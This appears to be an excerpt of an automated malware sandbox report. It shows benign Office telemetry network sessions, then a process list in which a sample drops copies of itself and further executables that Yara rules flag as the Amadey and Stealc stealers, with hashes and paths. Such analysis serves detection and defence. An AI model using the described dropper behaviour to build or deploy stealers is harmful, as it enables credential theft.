2024-11-23 19:23:59 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:59 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:00 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 150e742e-301e-0033-3994-3bfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192400Z-15b8b599d88tr2flhC1TEB5gk400000003fg000000009qap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:00 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:59 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:00 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192400Z-174c587ffdftjz9shC1TEBsh98000000034000000000pc9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:00 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:59 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:00 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4c6a8f70-a01e-000d-057c-3bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192400Z-174c587ffdfx984chC1TEB676g00000003cg000000007v73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:00 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:01 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:01 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:01 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9039d3ac-801e-0048-5f07-3df3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192401Z-15b8b599d882hxlwhC1TEBfa5w000000035000000000m0df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:24:01 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:01 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:01 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192401Z-15b8b599d88vp97chC1TEB5pzw00000003c0000000006zma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:01 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:02 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:02 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192402Z-178bfbc474bv7whqhC1NYC1fg400000004ug00000000gf82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:02 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:02 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:02 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 23fc118c-601e-0084-474e-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192402Z-178bfbc474btrnf9hC1NYCb80g00000004z000000000k139 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:02 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:02 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:02 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8c2dcc7a-801e-0035-158c-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192402Z-174c587ffdfb5q56hC1TEB04kg00000003cg0000000012ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:02 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:24:03 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:24:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:24:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192403Z-174c587ffdf6b487hC1TEBydsn000000038g00000000emhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:24:03 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Target ID:	0
Start time:	14:21:58
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc00000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1685802951.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1726090156.0000000000C01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x730000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1704412075.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1744615183.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:22:01
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x730000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1754745364.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1714335161.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:23:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x730000
File size:	1'924'608 bytes
MD5 hash:	56A8D0EA738568054D6A68992C06AF83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2300846306.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:23:12
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"
Imagebase:	0x3c0000
File size:	1'840'128 bytes
MD5 hash:	ACC594995958C5CF5F107FE27DB38F8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:23:20
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"
Imagebase:	0x9f0000
File size:	1'809'920 bytes
MD5 hash:	6AF05407143697F6C49BD94E5903F73A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2537064102.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2593696998.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:23:27
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"
